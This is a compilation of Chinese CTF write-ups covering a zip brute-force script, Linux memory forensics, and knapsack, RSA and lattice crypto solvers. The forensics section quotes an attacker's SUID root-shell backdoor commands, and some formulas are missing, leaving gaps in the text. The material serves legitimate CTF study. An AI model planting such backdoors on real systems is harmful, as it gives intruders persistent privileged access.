再解压提示CRC报错,发现是解压方法被改成了store,跟压缩方法对不上 修改解压方式后成功解压出320.zip 注释处可以找到密码提示,是一个嵌套加密的zip,密码为一个字节 爆破脚本: import pyzipper import os for i in range(320,0,-1): zip_filename = str(i) + ".zip" zf = pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) for j in range(0,0xff+1): password = j.to_bytes(length=1, byteorder='big') zf.setpassword(password) try: zf.extractall() zf.close() os.remove(str(i) + ".zip") break except: pass 解压得到一个txt,提示加密方法为AES-ECB,并提示key可能在前面的过程中就出现了 联想到前面解压密码是字节形式,通过打印解压密码发现: import pyzipper import os key = b'' for i in range(320,0,-1): zip_filename = str(i) + ".zip" zf = pyzipper.AESZipFile(zip_filename, 'r', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) for j in range(0,0xff+1): password = j.to_bytes(length=1, byteorder='big') zf.setpassword(password) try: zf.extractall() key += password zf.close() os.remove(str(i) + ".zip") break except: pass print(key[::-1].hex()) c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11c64e5e2225444a9da66b0f28ad718f798cffa70a48124ec5873a610c5899bb11 是循环的一个64位字符,将其当作key解密aes得到flag 解题步骤 1.全局搜索Linux version获得Kernel信息 Linux version 5.4.27 ([email protected]) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)) #1 SMP Thu May 23 20:16:33 EDT 2024 wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.4.27.tar.xz tar -xf linux-5.4.27.tar.xz cd linux-5.4.27 # 准备环境 yum install gcc make ncurses-devel openssl-devel flex bison perl elfutils-libelf-devel -y yum upgrade -y # 编译 make menuconfig make -j `nproc` && make modules_install && make install 3.将volatility官方所给的工具传输进虚拟机,并编译制作profile # 安装dwarfdump yum install wget wget https://www.prevanders.net/libdwarf-20201201.tar.gz tar -xf libdwarf-20201201.tar.gz cd libdwarf-20201201 # 配置并编译 sudo ./configure sudo make install export PATH=$PATH:/usr/local/bin 编译dwarf文件 和systemmap文件一起打包制作成profile ls -lh /boot/System.map-$(uname -r) yum install redhat-lsb-core zip -y sudo zip $(lsb_release -i -s)_$(uname -r)_profile.zip module.dwarf /boot/System.map-$(uname -r) 制作好的profile放入 --info成功获取到该profile 使用linux_bash命令获取history python2 vol.py -f out.lime --profile=LinuxCentOS_5_4_27_profilex64 linux_bash 通过观察发现以下两条命令,可以确定黑客是留了一个suid的后门,同时根据获取的最后两条bash的pid不同,可以确定是通过另一个用户登陆并使用该shell执行 cp /bin/bash /tmp/shell chmod u+s /tmp/shell python2 vol.py -f out.lime --profile=LinuxCentOS_5_4_27_profilex64 linux_bash -A 成功获取到了shell部分的命令 根据命令可以发现黑客使用了openssl对F14g.txt进行了加密,这里暂无很好的内置命令直接获取到运行时使用的密钥和S3rCr3t.dat信息,linux_find_file导出来全是0x00 尝试直接搜索 解密时还要注意openssl的版本,通过观察前面命令记录发现shell也查看了openssl的版本 同样方法可以读取到版本信息为 OpenSSL 1.0.2k-fips 26 Jan 2017 openssl enc -d -aes256 -in S3rCr3t.tar.gz | tar xz -C ./ # P@ssW0rdddd 或者 Linux内存取证,要做符号表,但其实可以不用,直接strings就好了 个人习惯先过一遍可疑文件: 发现有个这个 发现有命令,导出来: OK,剩下的就是爆搜密钥了,ctfer常见的密钥: 找到了密钥: 然后就是OpenSSL还得用原来版本的进行解密,CentOS镜像我没拉取下来,于是直接更换了某个docker里openssl https://blog.csdn.net/weixin_44174099/article/details/122089980 更换成功,有命令,直接解密就好了 最后听到的数字是: one one two two zero nine six seven1 DASCTF{11220967} 解题步骤 def GET_KEY(n): def enc(m,k): m=bytes_to_long(flag) with open('output.txt', 'w') as f: output.txt: 287687761937146187597379915545639385740275457170939564210821293233370716878150576 [1, 2, 87, 99, 190, 380, 760, 1702, 3350, 6712, 13302, 26669, 53257, 106512, 213212, 426262, 852583, 1705083, 3410164, 6820581, 13640909, 27281818, 54563749, 109127508, 218254958, 436509851, 873019897, 1746039768, 3492079367, 6984158992, 13968317822, 27936635563, 55873271257, 111746542368, 223493084736, 446986169472, 893972338944, 1787944677888, 3575889355776, 7151778711750, 14303557423366, 28607114846668, 57214229693336, 114428459386792, 228856918773559, 457713837547023, 915427675094046, 1830855350188252, 3661710700376344, 7323421400752912, 14646842801505675, 29293685603011275, 58587371206022773, 117174742412045483, 234349484824090806, 468698969648181659, 937397939296363271, 1874795878592726601, 3749591757185453143, 7499183514370906547, 14998367028741812852, 29996734057483625898, 59993468114967251756, 119986936229934503501, 239973872459869007099, 479947744919738013939, 959895489839476027878, 1919790979678952055983, 3839581959357904111739, 7679163918715808223719, 15358327837431616447319, 30716655674863232894717, 61433311349726465789458, 122866622699452931578804, 245733245398905863157495, 491466490797811726314990, 982932981595623452629980, 1965865963191246905260222, 3931731926382493810520182, 7863463852764987621040623, 15726927705529975242080987, 31453855411059950484161974, 62907710822119900968323970, 125815421644239801936647918, 251630843288479603873295836, 503261686576959207746591710, 1006523373153918415493183613, 2013046746307836830986367190, 4026093492615673661972734253, 8052186985231347323945468456, 16104373970462694647890936894, 32208747940925389295781874025, 64417495881850778591563748059, 128834991763701557183127495888, 257669983527403114366254991760, 515339967054806228732509983520, 1030679934109612457465019967093, 2061359868219224914930039934133, 4122719736438449829860079868450, 8245439472876899659720159736935, 16490878945753799319440319473651, 32981757891507598638880638947330, 65963515783015197277761277894728, 131927031566030394555522555789579, 263854063132060789111045111579109, 527708126264121578222090223158048, 1055416252528243156444180446316096, 2110832505056486312888360892632193, 4221665010112972625776721785264450, 8443330020225945251553443570528835, 16886660040451890503106887141057670, 33773320080903781006213774282115477, 67546640161807562012427548564230882, 135093280323615124024855097128461699, 270186560647230248049710194256923398, 540373121294460496099420388513846796, 1080746242588920992198840777027693592, 2161492485177841984397681554055387246, 4322984970355683968795363108110774528, 8645969940711367937590726216221549105, 17291939881422735875181452432443098117, 34583879762845471750362904864886196180, 69167759525690943500725809729772392360, 138335519051381887001451619459544784838, 276671038102763774002903238919089569616, 553342076205527548005806477838179139174, 1106684152411055096011612955676358278348, 2213368304822110192023225911352716556750, 4426736609644220384046451822705433113446, 8853473219288440768092903645410866226907, 17706946438576881536185807290821732453830, 35413892877153763072371614581643464907890, 70827785754307526144743229163286929815519, 141655571508615052289486458326573859631099, 283311143017230104578972916653147719262229, 566622286034460209157945833306295438524626, 1133244572068920418315891666612590877049074, 2266489144137840836631783333225181754098066, 4532978288275681673263566666450363508196132, 9065956576551363346527133332900727016392264, 18131913153102726693054266665801454032784553, 36263826306205453386108533331602908065569081, 72527652612410906772217066663205816131138180, 145055305224821813544434133326411632262276342, 290110610449643627088868266652823264524552684, 580221220899287254177736533305646529049105368, 1160442441798574508355473066611293058098210736, 2320884883597149016710946133222586116196421472, 4641769767194298033421892266445172232392842944, 9283539534388596066843784532890344464785686063, 18567079068777192133687569065780688929571371951, 37134158137554384267375138131561377859142743902, 74268316275108768534750276263122755718285487804, 148536632550217537069500552526245511436570975608, 297073265100435074139001105052491022873141951360, 594146530200870148278002210104982045746283902576, 1188293060401740296556004420209964091492567805360, 2376586120803480593112008840419928182985135610512, 4753172241606961186224017680839856365970271221024, 9506344483213922372448035361679712731940542442048, 19012688966427844744896070723359425463881084884096, 38025377932855689489792141446718850927762169768220, 76050755865711378979584282893437701855524339536412, 152101511731422757959168565786875403711048679072824, 304203023462845515918337131573750807422097358145648, 608406046925691031836674263147501614844194716291296, 1216812093851382063673348526295003229688389432582797, 2433624187702764127346697052590006459376778865165617, 4867248375405528254693394105180012918753557730331006, 9734496750811056509386788210360025837507115460662129, 19468993501622113018773576420720051675014230921324265, 38937987003244226037547152841440103350028461842648406, 77875974006488452075094305682880206700056923685296910, 155751948012976904150188611365760413400113847370593722, 311503896025953808300377222731520826800227694741187444, 623007792051907616600754445463041653600455389482374933, 1246015584103815233201508890926083307200910778964749821, 2492031168207630466403017781852166614401821557929499642, 4984062336415260932806035563704333228803643115858999284, 9968124672830521865612071127408666457607286231717998666, 19936249345661043731224142254817332915214572463435997301, 39872498691322087462448284509634665830429144926871994535, 79744997382644174924896569019269331660858289853743989190, 159489994765288349849793138038538663321716579707487978260, 318979989530576699699586276077077326643433159414975956596, 637959979061153399399172552154154653286866318829951913129, 1275919958122306798798345104308309306573732637659903826311, 2551839916244613597596690208616618613147465275319807652591, 5103679832489227195193380417233237226294930550639615305147, 10207359664978454390386760834466474452589861101279230610294, 20414719329956908780773521668932948905179722202558461220588, 40829438659913817561547043337865897810359444405116922441176, 81658877319827635123094086675731795620718888810233844882508, 163317754639655270246188173351463591241437777620467689764860, 326635509279310540492376346702927182482875555240935379529854, 653271018558621080984752693405854364965751110481870759059704, 1306542037117242161969505386811708729931502220963741518119363, 2613084074234484323939010773623417459863004441927483036238705, 5226168148468968647878021547246834919726008883854966072477346, 10452336296937937295756043094493669839452017767709932144954692, 20904672593875874591512086188987339678904035535419864289909384, 41809345187751749183024172377974679357808071070839728579818768, 83618690375503498366048344755949358715616142141679457159637536, 167237380751006996732096689511898717431232284283358914319275072, 334474761502013993464193379023797434862464568566717828638550144, 668949523004027986928386758047594869724929137133435657277100288, 1337899046008055973856773516095189739449858274266871314554200576, 2675798092016111947713547032190379478899716548533742629108401375, 5351596184032223895427094064380758957799433097067485258216802527, 10703192368064447790854188128761517915598866194134970516433605054, 21406384736128895581708376257523035831197732388269941032867210108, 42812769472257791163416752515046071662395464776539882065734420216, 85625538944515582326833505030092143324790929553079764131468840607, 171251077889031164653667010060184286649581859106159528262937681073, 342502155778062329307334020120368573299163718212319056525875362112, 685004311556124658614668040240737146598327436424638113051750724224, 1370008623112249317229336080481474293196654872849276226103501448448, 2740017246224498634458672160962948586393309745698552452207002896896, 5480034492448997268917344321925897172786619491397104904414005793914, 10960068984897994537834688643851794345573238982794209808828011587706, 21920137969795989075669377287703588691146477965588419617656023175412, 43840275939591978151338754575407177382292955931176839235312046350824, 87680551879183956302677509150814354764585911862353678470624092701691, 175361103758367912605355018301628709529171823724707356941248185403485, 350722207516735825210710036603257419058343647449414713882496370806824, 701444415033471650421420073206514838116687294898829427764992741613648, 1402888830066943300842840146413029676233374589797658855529985483227499, 2805777660133886601685680292826059352466749179595317711059970966454839, 5611555320267773203371360585652118704933498359190635422119941932909634, 11223110640535546406742721171304237409866996718381270844239883865819325, 22446221281071092813485442342608474819733993436762541688479767731638735, 44892442562142185626970884685216949639467986873525083376959535463277328, 89784885124284371253941769370433899278935973747050166753919070926554729, 179569770248568742507883538740867798557871947494100333507838141853109648, 359139540497137485015767077481735597115743894988200667015676283706219166, 718279080994274970031534154963471194231487789976401334031352567412438331, 1436558161988549940063068309926942388462975579952802668062705134824876530, 2873116323977099880126136619853884776925951159905605336125410269649753060, 5746232647954199760252273239707769553851902319811210672250820539299506381, 11492465295908399520504546479415539107703804639622421344501641078599012695, 22984930591816799041009092958831078215407609279244842689003282157198025444, 45969861183633598082018185917662156430815218558489685378006564314396050678, 91939722367267196164036371835324312861630437116979370756013128628792101318, 183879444734534392328072743670648625723260874233958741512026257257584202636, 367758889469068784656145487341297251446521748467917483024052514515168405272, 735517778938137569312290974682594502893043496935834966048105029030336810544, 1471035557876275138624581949365189005786086993871669932096210058060673621088, 2942071115752550277249163898730378011572173987743339864192420116121347242216, 5884142231505100554498327797460756023144347975486679728384840232242694484649, 11768284463010201108996655594921512046288695950973359456769680464485388969041, 23536568926020402217993311189843024092577391901946718913539360928970777938082, 47073137852040804435986622379686048185154783803893437827078721857941555876305, 94146275704081608871973244759372096370309567607786875654157443715883111752579, 188292551408163217743946489518744192740619135215573751308314887431766223505070, 376585102816326435487892979037488385481238270431147502616629774863532447010118, 753170205632652870975785958074976770962476540862295005233259549727064894020344, 1506340411265305741951571916149953541924953081724590010466519099454129788040580, 3012680822530611483903143832299907083849906163449180020933038198908259576081160, 6025361645061222967806287664599814167699812326898360041866076397816519152162452, 12050723290122445935612575329199628335399624653796720083732152795633038304324883, 24101446580244891871225150658399256670799249307593440167464305591266076608649853, 48202893160489783742450301316798513341598498615186880334928611182532153217299508, 96405786320979567484900602633597026683196997230373760669857222365064306434599262, 192811572641959134969801205267194053366393994460747521339714444730128612869198530, 385623145283918269939602410534388106732787988921495042679428889460257225738396863] 看这个output形状就知道是个经典的超递增背包,所以用最终sum倒着逐个减回来就行。 分析 首先审计代码,可以看见定义了两个函数creat_key以及enc,分析两个函数的作用: def creat_key(n): sum=2 key=[1] for i in range(n): r=random.randint(0,1) x=sum+random.randint(0,n)*r key.append(x) sum+=x return key 这是一个生成长度为n的密钥的函数,先随机取第一个元素放到key中,同时用sum记录密钥中元素之和,这里的r会随机取0、1,使后面每次生成的元素可能是前面所有数之和,也可能会多一点,将生成的所有元素作为密钥中的元素再将生成的密钥加到key中,并用sum记录所有密钥元素之和,如此循环往复,可以生成一段超递增序列作为密钥。 def enc(m,k): cipher_list = [] for i in range(len(m)): if m[i] == 1: cipher_list.append(m[i] * k[i]) cipher = sum(cipher_list) return cipher 这段加密函数的两个参数,都为列表,且m为由0,1组成的列表,后面对明文进行了处理变成了这个形式,然后这里m只有0,1,就相当于求m和k两个向量的数量积,将m为1的项与k对应的项相乘在求和得到密文 m = [int(bit) for byte in flag if byte != 0 for bit in format(byte, '08b')] 这段代码会遍历flag 中的每一个字节,并将每个字节转换为8位的二进制字符串,然后将这个字符串中的每一位(作为一个字符)转换为整数,并将这些整数收集到一个列表中,也就是将flag的整形数字变为2进制再将每位存在一个列表中,且要注意,它的首位为0。 思路 这道题主要考察的是背包密码加密,而这里的密钥是一个超递增序列可以帮助我们去很方便的解决这个问题 如果a的组合为一个超递增序列,则第n项an应该大于前面所有的数,因为b为0或1,a不是有就是没有,我们就将W与an进行比较分两种情况: 1、W大于或等于an 如果an没有,前面的所有项之和小于an不可能等于W,所以an一定有 2、W小于an W小于an则必然是没有an的 于是通过比较W与an的大小判断出bn是0还是1,然后去掉an后对an-1同样操作,直到变成0为止 此外,因为an前面所有的数之和小于an,所以W的最大值不会大于或等于an的两倍, 我们就根据这个思路往不断前推,直到背包里的东西全拿完。 我们就可以根据这个思路来解此题 exp1: from Crypto.Util.number import * #对私钥重排 def relist(pub): a = pub[:] c = [] while a: # 当a不为空时 m = min(a) c.append(m) a.remove(m) return c #解密 def resolve(pub,a,w): b=[] for j in range(1,len(a)): b.append(0) #用0填充方便后面替换 for i in range(1,len(a)): an=a[len(a)-i-1] id=pub.index(an) if w<an: None else: w=w-an b[id:id+1]=[1] #将0替换成1 if w==0: #说明解密完成 return b def decrypto(pub,w): a=relist(pub) m=resolve(pub,a,w) return m c= key= m=decrypto(key,c) print(m) ml='' for i in range(len(m)): ml+=str(m[i]) print(long_to_bytes(int(ml,2))) 解题步骤 题目描述 task.py: from Crypto.Util.number import * from random import * from secret import flag from sympy import * bits = 1024 l = 138833858362699289505402947409766595473722379891580589518174731439613184249727659678966809301611194545239974736175752769503863392697421092435438747741790652435801956708356186578269272819715592752821497122516109657809748674185639254430403157877064556216401002688452227124543508128414591884297632663910714681207 assert isPrime(l) def generate_prime(bits): return randprime(2**(bits-1), 2**bits) def fun(data,y,n): return sum([data[i] * pow(y,i,n) for i in range(len(data))]) % n def gen(x, y, z, w, n): data = [randint(n // 4, n) for _ in range(10)] leak1 = pow(x + pow(y, z, n), w, n) leak2 = fun(data, y, n) return data, leak1, leak2 def encrypt(l,m,n): mm = bin(m)[2:].zfill((m.bit_length() // 8 + 1) * 8) length = len(mm) c = [] s = [] for i in range(length): a = randint(1, n) s.append(pow(a, length, n)) for j in range(length): c.append(pow(l,int(mm[j]),n) * s[j] % n) return c p, q = [generate_prime(bits) for _ in range(2)] r = generate_prime(bits // 4) n = p ** 2 * q * r e1 = generate_prime(128) e2 = generate_prime(128) phi1 = p * (p - 1) * (q - 1) * (r - 1) phi2 = (p - 1) * (p - 2) * (q - 2) * (r - 2) d1 = inverse(e1, phi1) d2 = inverse(e2, phi2) t = getRandomRange(n // 4, n) data, leak1, leak2 = gen(r, t, e1, d1, n) m = bytes_to_long(flag) c = encrypt(l, m, n) with open('output.txt','w') as f: f.write(f'n = {n}\n') f.write(f'e1 = {e1}\n') f.write(f'ed = {e2 * d2}\n') f.write(f'data = {data}\n') f.write(f'leak1 = {leak1}\n') f.write(f'leak2 = {leak2}\n') f.write(f'c = {c}') 题目分析 通过 和 我们知道: 我们知道有: 我们将式子变一下 对两个式子做一个结式,把 t 给消掉,但是由于 太大,故我们需要优化一下,考虑到 ,即 ,我们知道在模 下满足的式子,在模 下一定成立,所以在求 的时候再模一下多项式 ,这样得到的 的度就低于10,之后让 和 做结式即可得到 (经过测试当调到 epsilon = 0.03 时我们能求出 来) from Crypto.Util.number import * from random import * with open('output.txt') as f: exec(f.read()) R.<t,r>=PolynomialRing(Zmod(n)) # construct g g = sum([int(data[i]) * t ** i for i in range(len(data))]) - leak2 print("start") print('g', g) asist = t t_e = 1 cnt = 1 for i in bin(e1)[2:][::-1]: cnt += 1 print(cnt) if i == '1': t_e = (t_e * asist) % g asist = (asist * asist) % g # construct f f = r + t_e - pow(leak1,e1,n) # calc resultant using sylvester_matrix h = f.sylvester_matrix(g, t).det().univariate_polynomial().monic() res = h.small_roots(X = 2 ** 256,epsilon = 0.03) if res: print(res[0]) exp2: from Crypto.Util.number import * from z3 import * with open('output.txt') as f: exec(f.read()) r = 77477547161688496725906506626131775883966333151442864639104100690032824193233 k = (ed - 1) // n + 1 phi2 = (ed - 1) // k # s = Solver() # p, q= Ints('p q') # # s.add((p - 1) * (p - 2) * (q - 2) * (r - 2) == phi2) # s.add(p ** 2 * q * r == n) # if s.check() == sat: # print(s.model()) ''' [p = 168207689659417173628607066039457820275276732311636007089001107530860513351122555769649031031435042743185528528881857626080873859026128498997148721030271703030768717788591275936600239642357340350598106488044312274746860587888105379606096757814370419770414183228756583472285941821276338279728115488001890742673, # q = 97707929018805957546753225343143490125285071269910025402668681477127527381672117514147518538470060994557862749309042238326448721045026099601424607832524228224510318920129326794773863846005792678034679056020514793964664097594210383339219122809427128901179158534676129014329576699155669500220463663254504200451] ''' p = 168207689659417173628607066039457820275276732311636007089001107530860513351122555769649031031435042743185528528881857626080873859026128498997148721030271703030768717788591275936600239642357340350598106488044312274746860587888105379606096757814370419770414183228756583472285941821276338279728115488001890742673 q = 97707929018805957546753225343143490125285071269910025402668681477127527381672117514147518538470060994557862749309042238326448721045026099601424607832524228224510318920129326794773863846005792678034679056020514793964664097594210383339219122809427128901179158534676129014329576699155669500220463663254504200451 flag = '' for i in c: if pow(i,(p - 1) // 2,p) == 1: flag += '0' else: flag += '1' print(long_to_bytes(int(flag,2))) # DASCTF{c764ba09-b2aa-12ed-ab17-9408ad39ce84} lFinally idea 这题其实没有很明确的目的指向,我们最后的落点就是encrypt这个函数,在此函数中我们知道的只有 ,不过又能发现一个很特殊的地方就是我们并不知道 到底是如何生成的,它被直白的给出来了,所以从这方面来说我们就能知道 很关键。那么这个时候其实就得去考虑到前面函数的作用以及指向到底什么 part1 我们知道了两个式子:l 两个式子,两个未知数,毫无疑问这部分就是要求 part2 给出 ,以及知道 ,这种我们其实就已经接触过,以前接触到的是(已知 和 n),此处无非就是 改了一下,改成了 ,思考的解题方式都是一样的。 故这个部分就是要求出 来 summary 所以可以很清楚的知道这两部分的作用和指向就是帮助我们得到p,q 我们知道了 ,然后我们又知道 不寻常,那么它们之间必定有联系,稍微试一试便能知道 是 和 的二次非剩余,得到了关系,之后再加上自己的推导,flag差不多就出了。 解题步骤 分析源码,观察到多项式的系数是用sha256生成,相对于模数p较小 分析同余式可以得到 所以根据以上等式,可以构造如下格子求解出多项式的系数e 题目背景是shamir秘密分享,可以构造类似于LWE的格即可将结果求出来,使用flatter加速格归约 exp: import os from random import getrandbits from hashlib import sha256, md5 from Crypto.Util.number import * from Crypto.Cipher import AES from subprocess import check_output from re import findall def flatter(M): z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]" ret = check_output(["flatter"], input=z.encode()) return matrix(M.nrows(), M.ncols(), map(int, findall(rb"-?\d+", ret))) with open("data.txt", "r") as f: data = f.read().strip().split("\n") p = int(data[0]) tmp = eval(data[1]) ct = long_to_bytes(int(data[2])) pbits = 400 noise_bit = 32 n = 100 m = 75 X = [i[0] for i in tmp] Y = [i[1] for i in tmp] M = matrix(ZZ, n+1+m, n+1+m) K1 = 2 ^ (256 - noise_bit) K2 = 2 ^ 256 for i in range(m): for j in range(n): M[j, i] = pow(X[i], j, p) M[n, i] = Y[i] M[n+1+i, i] = p M = K1 * M for i in range(n): M[i, i+m] = 1 M[n, -1] = K2 ML = flatter(M) for i in ML: if abs(i[-1]) == K2: sol = [abs(j) for j in i[-n:-1]] key = "".join([str(i) for i in sol]) key = md5(key.encode()).digest() aes = AES.new(key = key, mode = AES.MODE_ECB) print(aes.decrypt(ct)) 或者 from hashlib import sha256, md5 from Crypto.Util.number import * from Crypto.Cipher import AES from subprocess import check_output def flatter(M): # compile https://github.com/keeganryan/flatter and put it in $PATH z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]" ret = check_output(["flatter"], input=z.encode()) from re import findall return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret))) pbits = 400 noise_bit = 32 n = 100 m = 75 p = 1914861180127910915217161496032452354459288330404267938814385633318816795789745430689392291853522228462459760259540145551 msgs = [(871685718803663381427930478762339134295053004512609923589551466783266783810259304828550374243064535763376291757646963959, 202160546047966750331912360731430418240633973593625005229082586127891061162361922677243409978233971196981357156050665207), (880630661134451484589856936400581718913135314681369937077374828269467594291354487238721693384105758714624990294669591318, 1095968002726348118037606681187141462053336336722142181092378890939072246257043346524710197351420437134900753767241347071), (2201481802919131040050333908088433208558917203945919199978631826943299343536825970006258238556122903076523292840756434743, 692254736946777374134144410762495005358360246411034340533738679554417430991182506230475828234351704793913692448647675007), (1378304382181829689586748896745391077371970833336011385982116414924775680216930605930619270704824436444608781376558454118, 1349836972600983636760377380443471914884359770040030987799061599827409370783772298884084190105572886840534075250106753145), (1353153805805015283526548792279508930383121644895000056925297797888893262990508466655386951026647093911241738634749231794, 708640659789589986759360580045421230914410242138084549192350870784628479597574645622638880069506009868145944996982225278), (1060943952101159814075555130286870049673510249558382992676797709837360932812847335287824269141102612270742087176360534041, 1039246257482395034113137526078027968667726416005827851568387262127498749146041230779139405404483176650987996444622585854), (2424118466972165402210232064008571072995878364648534891594437945505312271409808703384482184386252162745547514610618028336, 635156696412302837761915637951567688860519995373738062624916498633145442364997312202584276482319362616731324143180341246), (1772241931859851196567261257895529032033057998867860001437142889635454121520207911859978309001300625929738493595845855555, 500604911497932506773931452024208499570885483407547558939058205116845746585850868300414311672651970998734159786902749117), (187044491746709666918227023301039735707457548611767420757592410489694090421689472337383722846260140189038198219461031942, 227360883946968296249705407270310276359769497016888615738491818601296225309783611129587894811655567646792586796017233916), (698522560244433302990615272949028179635002687309158390959480083880213377867539289895143372657572453749378003459093150970, 1438446488346299625609140434323525340139617346663444436909013102079035123226801253230191914228775608263694160574643826415), (1314293541818269470008262253418684239221368418527916534392752287558240541875482130114787897305513520252998018265836595136, 933106402921508526957532367623168847119197804766985507707958985877339350054085035066950570021869141193740290685053960123), (1501745172784237049923522578654390251325669575513607134910901665808936517556360097769749957840258117848678845196676974438, 1516777488301366348170721193695469080262430948767494893352311177358850775942249045078694319757619073073088994542922628861), (1718313250889012550002734353486104431289067168806022987862850465345813017177898627414672453244745977044381286178413506161, 506057417158279773145112367533063233326190899630436097648290976200406049591277922238049560242268646574334872382933403615), (2574114678492270903282456732270950593394194358462333441160509514501148947640703147403802718744307473847235179125898798831, 1503310774908591444184865449721473627976722270933784408676574059139777045024294387334806494605277115228299871854598791166), (1770243408559044970812149306040976785192946281881654467315187543403793080522851914844996680381886937167658398949087446193, 1099237075950355774454839935750271630613513947414691912497783029355832037700530351594087156234712938075324990262460261245), (2166086041023587382902739106621961372440200378327129977520031042444044378994128764308981213008281610274832831816068579582, 662709908868241192557028160616176772511764390044399310771390622778705044736473497185759270701465132475627229112002146287), (2170463762878343673691652149382892550249493539913487563393294153717628928418073705621516968910372026548584895576642432967, 1413676394542378061807394780263485269329077458637078447074464881203630348193024572124672013567573482444837133106653543455), (1129266289804637843248865446624604876222278055268049666382746600434990532837254822384883357227875808573227656504651891817, 1535832745242864345604750984721590856572422259228943440577864210008688452305222147646810543026576688303372824677842288383), (2306555154959167883502684934268021903550464872811594873384525370627065323932167910172723635326929186844444801386870524867, 574207014379682600904001842474004352741607105704886122985304177072984415266547565043126591318153332317051149516485422972), (1724617341290962542300349861015192124473593787607849187241871123866653776294891983393875816012660538610025134685453770248, 1037506311823536647118763707562050051146414393535410677631530307480219373475166677371198285257502421566885284344997084663), (202616766252415923229841624622749382197002736241072130496684863225861466295470440453433729087043063339640795866357221636, 1486069111757435527648291199412538135459418727823506381342991481853059317128849411787275828115963269643450637901851750359), (782072578333357184532047183424922628763983310554137973249125608272717772586145583974361061586170067251618252434433193104, 283757911494107775111019950316083145592345149507512192994272372101655062364071745340414019692327679359235776555825852415), (2197595167942118116042253773798345585826387963460510458606977372991191820486797272252095468231729659915814456157670560486, 955293934596965502510872570415413020132164928134045802395033751487848017887015144832326371969637236306696054523237785589), (1098157283702819563820742199423754909028104781243946454418867995181539307551856844793857199640783377355282394025101300655, 635111390180648841537968959615311456853925067622053148053038395898914597955860998732345527697104011201693008366561317143), (1539369283131984995745859995105101736066475537281347948822432206665809508754710210661232887491808392388057664234877214907, 1873336536033306125287332317304933459481487853852475402907316652085126765046749618993624553154025815108827029610442783458), (2105684701096534411811602939870350859970761398331640507345513836997797916059406457337165075287082983610738904681969289045, 1070056100602518593988818068846549889380286647944194826819905043161724050669042969316031968306712388470995120352413349630), (142489011778634823488933340993644406251365634143001554672065147110660487229716505211502368066478460823953952289740995290, 1600505031347134429197259601839106217157515935077383802359036680943190353630112460191899585397343290624969344500745894703), (554711031900068277207319195022074787064807351540056727585559478009641245829914129658355024028140622126230477378977389537, 65339521639683012798947456976243744037602872322070608133060186211835711806848370610017017866030009537787109068192454654), (532900849979395683891747931991929993723658239680866376615001124559008204600725833769158798743570050012188528983307982345, 334144016771241488303216672075523455061388505657739817526966708251875900758813513342313135616513439456734341083743369135), (869702918099306179247127839502723535611690279734139047798433105147760657329410795136726045654330604238870805984709621246, 1169351283105013313749641940783038490083938869389146122787264490618765187367135121126934960933658038044552677868393266925), (786239400981081690761967926939692614214352370457999126682279606306346828244856149092806342991454830115357428173569519111, 341229317116770102168944480795910149567176593419165900124153031167345358788428115442807890687039322892597408592425778007), (2064213065995911617919315029041029121543167107287437882288959061187785048503282055451690399898250479932109432366548223997, 865205430622864313641681018820800198136329954993789609121686669624009340125228193996720833574248608603224773986947432415), (1996571933560681341081972550429260163713030332385776633835663546385508374790580854691775408939051083454291050879529580125, 559622002964744852554436566542525646157533309978763685146044798881793139644019170010343656282702809565334484141114392471), (1665201866056279622733275067329071022333699015026928761307123522986743452132023670960400981020146860918570153444345681972, 1206659985279999461070238583934930315667638779868565409888110141662803190569415230894181412146290317311945493517622418483), (1515824630378748853880547205191400487565887686063520538971380532161078510669610334484477786016989319170924543667026641318, 154768510600010010017326698396207970330238438685198973674456030784650112353692986269413531937661879315225602124927708924), (2400640362993011976891348699605911902016988451462173893625476704482508356176787307014920885489349704332546642981698540069, 1121421906118323024216284095711804126345276955926784522370067713782427318851230923383318334457757167182928811853910539965), (914679394823164487648957492231711749917619119979512000391828434330805091270968219541264417579001916453063785209093025303, 374627069056072738750323688310128739794138886219071824099120374559973078400286337012659440934169856150484268780102828020), (1021972013999414078223981430633642397558044349935082594710388870307835007718638824792649139809042384573145837264785258692, 102093917357525962153933641992946656421204665316272197308632790969421027148825374536157392412871816080580115446708002591), (1090613002154339666672492884775405717313689831457406446112184992081112549743653583926163772335048052650217605191460964064, 1013686859153230698540678410867250429548404782986370285534810877495709441098450523218264937019132584108142305563714746606), (2161046501022327990933396497482765893753709560942237251106031463450880235879988355009303131242535391464106086265266338474, 1842825126623549349236000977359585068860414649531034170142594564984327572182360450517454690000097975914639809219290654045), (734600260267770729123110997283110745757092649194443870464263775523592639286156519663230810008655565992062564338915033184, 1439472390868656814802271856900227714476824912359664972147156053839098765837149646453806800388007932953080250670815772651), (881335900275714936417588963897633003585264162416587081468620588101288614371107988322661634495058217226298025521720126634, 1438060177355585280770231938473797663421441580729795412881287946986577092068342750409767988724102261013424113586148457982), (876173729780067336779925806297809473013555554668200124165269741312909223647316933287442159368855433236050789576297672813, 584722637090302053439384198012199760324880317678105782762720083676914628942486088928409942979389876557255132127516159991), (1733558429089397683359597663185076627234549140640918522337597781379981378009350733554208954192805660163725305958818509205, 1010477387678444338602582972843701290504497269295430761287923107029938822433731115008623372768060580369747062615441406973), (1758000758086776729345325124199287880198692107697670885448853730203070351345566212118269510767350031899984650531292511829, 1484408939224604508966101404659297622265311898991708197399154932571955375325130297122648740841893311564144118335134464767), 